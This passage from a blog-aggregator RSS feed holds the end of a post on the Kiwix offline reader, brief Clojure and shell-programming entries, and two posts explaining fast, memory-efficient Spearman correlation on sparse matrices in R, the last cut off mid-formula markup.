<p><strong>The project relies on user donations, so I would like to urge you to support the Kiwix project by <a href="https://www.kiwix.org/en/support/">making donations</a>.</strong></p>
<p>Finally, I leave you with some more screenshots of Kiwix. Enjoy :)</p>
<figure>
<img src="https://ravidwivedi.in/images/kiwix-askubuntu.png" style="width:500px">
<figcaption><i>Me reading AskUbuntu forum offline in my machine.</i> License: <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA-4.0</a> </figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/kiwix-home.png" style="width:500px">
<figcaption><i>Kiwix Desktop homepage.</i> License: <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA-4.0</a> </figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/kiwix-rationalwiki.png" style="width:500px">
<figcaption><i>Reading RationalWiki on Kiwix Android.</i> License: <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA-4.0</a> </figcaption>
</figure>
<figure>
<img src="https://ravidwivedi.in/images/kiwix-wikimed.png" style="width:500px">
<figcaption><i>Wikimed on Kiwix app.</i> License: <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-BY-SA-4.0</a> </figcaption>
</figure>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[n ways to FizzBuzz in Clojure]]></title>
            <link>https://www.evalapply.org/posts/n-ways-to-fizzbuzz-in-clojure/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/n-ways-to-fizzbuzz-in-clojure/index.html</guid>
            <pubDate>Fri, 25 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[FizzBuzz is everywhere. Every programmer passes through its rite of passage, or at least bears witness to another. Over the years, many gentlenerds have taken it upon themselves to discover ever new ways to incant those hoary symbols. I hereby enjoin these few drops of Clojure to that roiling ocean of FizzBuzzery.]]></description>
            <content:encoded><![CDATA[FizzBuzz is everywhere. Every programmer passes through its rite of passage, or at least bears witness to another. Over the years, many gentlenerds have taken it upon themselves to discover ever new ways to incant those hoary symbols. I hereby enjoin these few drops of Clojure to that roiling ocean of FizzBuzzery.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>clojure</category>
            <category>functional_programming</category>
            <category>howto</category>
            <category>riff</category>
        </item>
        <item>
            <title><![CDATA[Shell ain't a bad place to FP: part 1/N: McIlroy's Pipeline]]></title>
            <link>https://www.evalapply.org/posts/shell-aint-a-bad-place-to-fp-part-1-doug-mcilroys-pipeline/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/shell-aint-a-bad-place-to-fp-part-1-doug-mcilroys-pipeline/index.html</guid>
            <pubDate>Fri, 11 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Or, the one in which we "take apart" Douglas McIlroy's pipeline from 1986. Doing so teaches an object lesson about the essence of modular, composable, functional architecture.]]></description>
            <content:encoded><![CDATA[Or, the one in which we "take apart" Douglas McIlroy's pipeline from 1986. Doing so teaches an object lesson about the essence of modular, composable, functional architecture.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>bash</category>
            <category>unix</category>
            <category>functional_programming</category>
            <category>architecture</category>
        </item>
        <item>
            <title><![CDATA[Fast &amp; memory efficient spearman correlation on sparse matrices]]></title>
            <link>https://saket-choudhary.me/blog/2022/03/10/fast-sparsespearman/</link>
            <guid isPermaLink="false">https://saket-choudhary.me/blog/2022/03/10/fast-sparsespearman/</guid>
            <pubDate>Wed, 09 Mar 2022 18:30:00 GMT</pubDate>
            <description><![CDATA[The previous post formulated a solution for calculating spearman correlation
on sparse matrices. The trick was simple - we exploited the sparsity structure in our matrix to prevent it from being converted to a dense form at any step. For spearman correlation, following this line of thought
is tricky, because the ranks are not sparse, at least not by default. We then used the property of covariance, where adding a constant quantity to all entries of a vector (or matrix) does not change 
its variance (or covariance) structure to come up with a solution that works great in theory and solves our purpose of keeping the memory footprint low. 
A notebook with an implementation here.
However, the time benchmarks look awful - though we ended up saving memory, SparseSpearmanCor() was atleast 2 times slower than the naive approach of densifying the matrix
and calculating correlation using cor(as.matrix(X.sparse), method="spearman"). This in practise defeats the motivation - we are saving memory at the cost of speed.
Solution 
The costliest step in my original implementation of SparseSpearmanCor() was a simple lookup operation:
 which(j == column) ,
where I fetch the non-zero entries in a column for calculating the rank, and this happens for all the columns (j stores the index of columns where there are non-zero entries).
I tried other ways of making this faster, such as by using fastmatch. But the actual
speedup came from a simple thought - if we care about the non zero entries, I should just deal with them separately. So instead of doing repeated
lookups, I just separate the non-zero entries out, do the rank sparsification operations on them and put them back into the sparse matrix. 
I call this implementation SparseSpearmanCor2() and you can find the implementation in the notebook, but here are some comparisons with 
the dense approach and the previous implementation SparseSpearmanCor().
The result is a function that calculates values 10x faster than any approach on large matrices (10000 x 5000):
  Figure 1. Time benchmarks.
    



SparseSpearmanCor2() and time benchmarks are available in this notebook.]]></description>
            <content:encoded><![CDATA[<p>The <a href="https://saket-choudhary.me/blog/2022/03/09/sparsespearman/">previous post</a> formulated a solution for calculating <a href="https://en.wikipedia.org/wiki/Spearman%27s_rank_correlation_coefficient">spearman correlation</a>
on sparse matrices. The trick was simple - we exploited the sparsity structure in our matrix to prevent it from being converted to a dense form at any step. For spearman correlation, following this line of thought
is tricky, because the ranks are not sparse, at least not by default. We then used the property of covariance, where adding a constant quantity to all entries of a vector (or matrix) does not change 
its variance (or covariance) structure to come up with a solution that works great in theory and solves our purpose of keeping the memory footprint low. 
A notebook with an implementation <a href="https://github.com/saketkc/blog/blob/main/2022-03-09/SparseSpearmanCorrelation.ipynb">here</a>.</p>

<p>However, the time benchmarks look awful - though we ended up saving memory, <code class="language-plaintext highlighter-rouge">SparseSpearmanCor()</code> was atleast 2 times slower than the naive approach of densifying the matrix
and calculating correlation using <code class="language-plaintext highlighter-rouge">cor(as.matrix(X.sparse), method="spearman")</code>. This in practise defeats the motivation - we are saving memory at the cost of speed.</p>

<h2>Solution </h2>

<p>The costliest step in my original implementation of <code class="language-plaintext highlighter-rouge">SparseSpearmanCor()</code> was a simple lookup operation:
<code> which(j == column) </code>,</p>

<p>where I fetch the non-zero entries in a column for calculating the rank, and this happens for all the columns (j stores the index of columns where there are non-zero entries).</p>

<p>I tried other ways of making this faster, such as by using <a href="https://cran.r-project.org/web/packages/fastmatch/index.html">fastmatch</a>. But the actual
speedup came from a simple thought - if we care about the non zero entries, I should just deal with them separately. So instead of doing repeated
lookups, I just separate the non-zero entries out, do the rank sparsification operations on them and put them back into the sparse matrix. 
I call this implementation <code class="language-plaintext highlighter-rouge">SparseSpearmanCor2()</code> and you can find the implementation in the <a href="https://github.com/saketkc/blog/blob/main/2022-03-10/SparseSpearmanCorrelation2.ipynb">notebook</a>, but here are some comparisons with 
the dense approach and the <a href="https://saket-choudhary.me/blog/2022/03/09/sparsespearman/">previous implementation</a> <code class="language-plaintext highlighter-rouge">SparseSpearmanCor()</code>.</p>

<p>The result is a function that calculates values 10x faster than any approach on large matrices (10000 x 5000):</p>

<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/fast-spearman.png" style="width: 100%; display: block; margin: 0 auto;" />
    <center><div class="caption">  <span class="caption-label">Figure 1.</span> Time benchmarks.
    </div></center>
</div>

<p><code class="language-plaintext highlighter-rouge">SparseSpearmanCor2()</code> and time benchmarks are available in this <a href="https://github.com/saketkc/blog/blob/main/2022-03-10/SparseSpearmanCorrelation2.ipynb">notebook</a>.</p>
<hr />]]></content:encoded>
            <author>Saket Choudhary</author>
        </item>
        <item>
            <title><![CDATA[Memory efficient spearman correlation on sparse matrices]]></title>
            <link>https://saket-choudhary.me/blog/2022/03/09/sparsespearman/</link>
            <guid isPermaLink="false">https://saket-choudhary.me/blog/2022/03/09/sparsespearman/</guid>
            <pubDate>Tue, 08 Mar 2022 18:30:00 GMT</pubDate>
            <description><![CDATA[An important property of the covariance function is that it is invariant under shifts, i.e.,
for any two random variables  X\mathbf{X}X   and  Y\mathbf{Y}Y , 
you get the same covariance if you add constant quantitie to either $X$ or $Y$:
Cov(X+a,Y+b)=Cov(X,Y)
\begin{aligned}
    \text{Cov}(\mathbf{X} + a, \mathbf{Y} + b) &= \text{Cov}(\mathbf{X}, \mathbf{Y})
\end{aligned}
Cov(X+a,Y+b)​=Cov(X,Y)​
where  Cov(X,Y)=E[(X−E[X])(X−E[X])]\text{Cov}(\mathbf{X}, \mathbf{Y}) = \mathbb{E}[(\mathbf{X} - \mathbb{E}[\mathbf{X}])(\mathbf{X} - \mathbb{E}[\mathbf{X}])]Cov(X,Y)=E[(X−E[X])(X−E[X])] 
and  a,ba,ba,b  are real valued quantities.
Essentially  Cov(X,Y)\text{Cov}(\mathbf{X}, \mathbf{Y})Cov(X,Y)  is a measure of the product of how much $\mathbf{X}$ and $\mathbf{Y}$ are deviating
from their respective means so adding a constant does not change anything (because the deviation from the mean remains the same).
Two commonly used correlations are pearson  and  spearman . A pearson correlation is essentially a normalized measure of covariance,
which tries to measure how “linearly dependent” are $\textit{X}$ and $\textit{Y}$:
Cor(X+a,Y+b)=Cov(X,Y)σXσY,σX2=E[(X−E[X])2),σY2=E[(Y−E[Y])2).
\begin{aligned}
    \text{Cor}(\mathbf{X} + a, \mathbf{Y} + b) &= \frac{\text{Cov}(\mathbf{X}, \mathbf{Y})}{\sigma_X \sigma_Y},\\
    \sigma^2_X &= \mathbb{E}[(X-\mathbb{E}[X])^2),\\
    \sigma^2_Y &= \mathbb{E}[(Y-\mathbb{E}[Y])^2).\\
\end{aligned}
Cor(X+a,Y+b)σX2​σY2​​=σX​σY​Cov(X,Y)​,=E[(X−E[X])2),=E[(Y−E[Y])2).​
The spearman correlation on the other hand asseses if the relationship between $\textit{X,Y}$ is monotonic (either increasing or decreasing). It is equivalent to running pearson correlation 
between the ranks of values in $X$ and $Y$ instead of the actual value themselves. So it essentially asks if $X$ is increasing (decreasing) would values in $Y$ would be increasing (decreasing)
as well? A perfect score of 1 (-1) would result in a yes (no). Both the types of correlation are often employed in genomics to assess relationship between two variables of interest.
One particular context, where correlations are employed is in multi-omics experiments, say where we are profiling RNA and open chromatin regions (ATAC) in the same cells. For example, 
a recent study used correlations to find potential gene-enhancer links (Ma et al., 2020). The idea is simple: we have a bunch of cells
in which we simultaneously profiled both the transcriptome (RNA) and the open chromatin regions (ATAC). We then ask, for each gene, which open chromatin regions are highly correlated (after 
necessary adjustment for background) to predict potential gene-enhancer links. The default correlation function in R 
 cor(RNA, ATAC, method="pearson")  or cor(RNA, ATAC, method="spearman")  would ideally be sufficient to do this.  Here, RNA and ATAC 
are vectors of equal length with entries summarizing the transcriptome signal and ATAC signal at a gene and potential enhancer, respectively.
However, both RNA and ATAC matrices are often sparse matrices, i.e. they have lots of entries that zeroes,
which are not explicitly stored to save space. The default cor() method does not work on sparse matrices. The problem here is a simple one then: convert the RNA and ATAC sparse matrices to a usual (dense) matrix using as.matrix()
and run the correlation function. However, converting to denser matrix format will take loads of memory, especially if you are searching for link between 10,000 genes and say only about 5,000
potential enhancers in around 10,000 cells all at once, parallely.
Sparsity makes it easier 
The solution to avoid this is rather easy and has been previously discussed for pearson correlation.
A detailed description is available in the documentation of qlcMatrix::corSparse(). 
But in short, the idea is to utilize the sparsity in a vector and avoid doing operations that would make a sparse matrix dense. For example, the variance calulation for a sparse vect the essential idea here is that we do not want to lose the sparsity
structure during our calculations. For example, for a sparse vector, if we are interested in calculating the variance $Var(X) = \mathbb{E}[(X-\mathbb{E}[X])^2]$, if we do the $X-\mathbb{E}[X]$ operation first,
the sparsity structure of X is now destroyed and we land up with a dense matrix. Instead, we can use the fact that the variance can equivalentyl be written as $\text{Var}(X) = \mathbb{E}[X^2] - E[X]^2$, retaining the sparity
throughout. That solves our problem of calculating pearson correlation on sparse vectors (or matrices).
The next question is then, what about sparse matrices and spearman correlation? cor(X, Y, kind="spearman")  does not work for sparse matrices and we do not want to convert them to dense form.
The solution is again simple, but took me a while to figure out. A naive idea would be to use the definition of spearman correlation - we calculate ranks of $X$ and $Y$ and then run it through cor()
with method="spearman" as the ranks are not sparse. The problem however is again the same - the rank matrix is not sparse. But if you think about ranks in a sparse matrix, it does have some
interesting properties that we can utilize to make it sparse.
We can look at a sparse vector for an example. Consider a vector  y <- c(0,0,0,42,21,10)  with 3 non zero entries. We will use $n_z$ to denote the number of non-zero
entries in a vector. But if we know the number of non-zero entries, we also know what these ranks are going to be - they are fixed. 
For a vector with $n_z$ entries, the rank(ties.method="average") method will set them all to $\frac{1}{n_z}\sum_{i=1}^{n_z} i = \frac{(n_z+1)}{2}$. We also know that the lowest non-zero entry in such a vector would have a
rank of $(n_z+1)$. For example, rank vector  rank(y) = c(2,2,2,6,5,4)  - by default the ranks of tied entries are averaged. So the rank of 0s is $\frac{1+2+3}{3}= \frac{(n_z+1)}{2}$. Our rank vector 
is not sparse, but we can retain its sparsity if we were to subtract $\frac{(n_z+1)}{2}$ from each of the entries. Since a shift operation will not change the (co)variance, the variance of 
c(0,0,0,4,3,2)  which we called the “sparsified rank vector” is the same as original rank vector c(2,2,2,6,5,4). So we should aim to get our “sparsified rank” vector somehow.
The trick to arrive at “sparsified rank” vector is to use calculate ranks on the non-zero entries in our vector. We will forget about the zero entries in such a vector and only focus on the non-zero entries - they are few and it is fast to calculate ranks of just these. 
In this version of the vector (where there are no zeros) the lowest non-zero entry has a rank of $1$ (assuming there are no ties, but the following arguments hold without loss of generality). To arrive at the “sparsified rank” vector,
we subtracted $\frac{(n_z+1)}{2}$ from the original rank vector, so the non-zero entry’s rank will now be $n_z  + 1 - \frac{(n_z+1)}{2} = 1 + \frac{n_z}{2} - \frac{1}{2}$ which is equivalent to adding $\frac{(n_z-1)}{2}$ to the rank of the 
non-zero entries! By this way, we retain the sparsity in ranks and can then just use corSparse() to calculate pearson correlation on sparsified rank vectors, resulting in spearman correlation.
While this approach is memory efficient, it unfortunately is not always the fastest. See this notebook for some time benchmarks. I did not explicitly
perform memory benchmarks.
Update:  The approach is both memory efficient and fast. See an updated post and associated notebook
Example
 y <- c(0,0,0,42,21,10) 
 rank(y) = c(2,2,2,6,5,4) 
 sparsified_rank(y) <- c(0,0,0,4,3,2)  (Subtract $\frac{(n_z+1)}{2}=2$ from all entries to make the previous vector a sparse vector)
 rank(y[y!=0]) = rank(c(42,21,10)) = c(3,2,1) .
If we now add $\frac{(n_z-1)}{2} = \frac{(3-1)}{2}$ to all the entries of the last vector, we get  c(4,3,2)  which are the non-zero ranks
from our <code<sparisifed_rank</code> vector which will be the input to corSparse.]]></description>
            <content:encoded><![CDATA[<p>An important property of the covariance function is that it is invariant under shifts, i.e.,
for any two random variables  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="bold">X</mi></mrow><annotation encoding="application/x-tex">\mathbf{X}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68611em;vertical-align:0em;"></span><span class="mord"><span class="mord mathbf">X</span></span></span></span></span>   and  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="bold">Y</mi></mrow><annotation encoding="application/x-tex">\mathbf{Y}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68611em;vertical-align:0em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.02875em;">Y</span></span></span></span></span> , 
you get the same covariance if you add constant quantitie to either $X$ or $Y$:</p>

<p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable rowspacing="0.24999999999999992em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mtext>Cov</mtext><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo>+</mo><mi>a</mi><mo separator="true">,</mo><mi mathvariant="bold">Y</mi><mo>+</mo><mi>b</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mtext>Cov</mtext><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo separator="true">,</mo><mi mathvariant="bold">Y</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">
\begin{aligned}
    \text{Cov}(\mathbf{X} + a, \mathbf{Y} + b) &amp;= \text{Cov}(\mathbf{X}, \mathbf{Y})
\end{aligned}
</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5000000000000002em;vertical-align:-0.5000000000000002em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1em;"><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.02875em;">Y</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault">b</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.5000000000000002em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1em;"><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.02875em;">Y</span></span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.5000000000000002em;"><span></span></span></span></span></span></span></span></span></span></span></span></p>

<p>where  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>Cov</mtext><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo separator="true">,</mo><mi mathvariant="bold">Y</mi><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="double-struck">E</mi><mo stretchy="false">[</mo><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo>−</mo><mi mathvariant="double-struck">E</mi><mo stretchy="false">[</mo><mi mathvariant="bold">X</mi><mo stretchy="false">]</mo><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo>−</mo><mi mathvariant="double-struck">E</mi><mo stretchy="false">[</mo><mi mathvariant="bold">X</mi><mo stretchy="false">]</mo><mo stretchy="false">)</mo><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">\text{Cov}(\mathbf{X}, \mathbf{Y}) = \mathbb{E}[(\mathbf{X} - \mathbb{E}[\mathbf{X}])(\mathbf{X} - \mathbb{E}[\mathbf{X}])]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.02875em;">Y</span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathbb">E</span></span><span class="mopen">[</span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathbb">E</span></span><span class="mopen">[</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mclose">]</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathbb">E</span></span><span class="mopen">[</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mclose">]</span><span class="mclose">)</span><span class="mclose">]</span></span></span></span> 
and  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo separator="true">,</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">a,b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">b</span></span></span></span>  are real valued quantities.
Essentially  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>Cov</mtext><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo separator="true">,</mo><mi mathvariant="bold">Y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\text{Cov}(\mathbf{X}, \mathbf{Y})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.02875em;">Y</span></span><span class="mclose">)</span></span></span></span>  is a measure of the product of how much $\mathbf{X}$ and $\mathbf{Y}$ are deviating
from their respective means so adding a constant does not change anything (because the deviation from the mean remains the same).</p>

<p>Two commonly used correlations are <bold>pearson </bold> and <bold> spearman </bold>. A pearson correlation is essentially a normalized measure of covariance,
which tries to measure how “linearly dependent” are $\textit{X}$ and $\textit{Y}$:</p>

<p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable rowspacing="0.24999999999999992em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mtext>Cor</mtext><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo>+</mo><mi>a</mi><mo separator="true">,</mo><mi mathvariant="bold">Y</mi><mo>+</mo><mi>b</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mrow><mtext>Cov</mtext><mo stretchy="false">(</mo><mi mathvariant="bold">X</mi><mo separator="true">,</mo><mi mathvariant="bold">Y</mi><mo stretchy="false">)</mo></mrow><mrow><msub><mi>σ</mi><mi>X</mi></msub><msub><mi>σ</mi><mi>Y</mi></msub></mrow></mfrac><mo separator="true">,</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><msubsup><mi>σ</mi><mi>X</mi><mn>2</mn></msubsup></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mi mathvariant="double-struck">E</mi><mo stretchy="false">[</mo><mo stretchy="false">(</mo><mi>X</mi><mo>−</mo><mi mathvariant="double-struck">E</mi><mo stretchy="false">[</mo><mi>X</mi><mo stretchy="false">]</mo><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo stretchy="false">)</mo><mo separator="true">,</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><msubsup><mi>σ</mi><mi>Y</mi><mn>2</mn></msubsup></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mi mathvariant="double-struck">E</mi><mo stretchy="false">[</mo><mo stretchy="false">(</mo><mi>Y</mi><mo>−</mo><mi mathvariant="double-struck">E</mi><mo stretchy="false">[</mo><mi>Y</mi><mo stretchy="false">]</mo><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">
\begin{aligned}
    \text{Cor}(\mathbf{X} + a, \mathbf{Y} + b) &amp;= \frac{\text{Cov}(\mathbf{X}, \mathbf{Y})}{\sigma_X \sigma_Y},\\
    \sigma^2_X &amp;= \mathbb{E}[(X-\mathbb{E}[X])^2),\\
    \sigma^2_Y &amp;= \mathbb{E}[(Y-\mathbb{E}[Y])^2).\\
\end{aligned}
</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:5.611216000000001em;vertical-align:-2.5556080000000008em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.0556080000000003em;"><span style="top:-5.055608em;"><span class="pstrut" style="height:3.427em;"></span><span class="mord"><span class="mord text"><span class="mord">Cor</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.02875em;">Y</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathdefault">b</span><span class="mclose">)</span></span></span><span style="top:-3.0555em;"><span class="pstrut" style="height:3.427em;"></span><span class="mord"><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span><span style="top:-1.5313919999999994em;"><span class="pstrut" style="height:3.427em;"></span><span class="mord"><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.22222em;">Y</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.5556080000000008em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.0556080000000003em;"><span style="top:-5.055608em;"><span class="pstrut" style="height:3.427em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.3139999999999996em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.22222em;">Y</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span 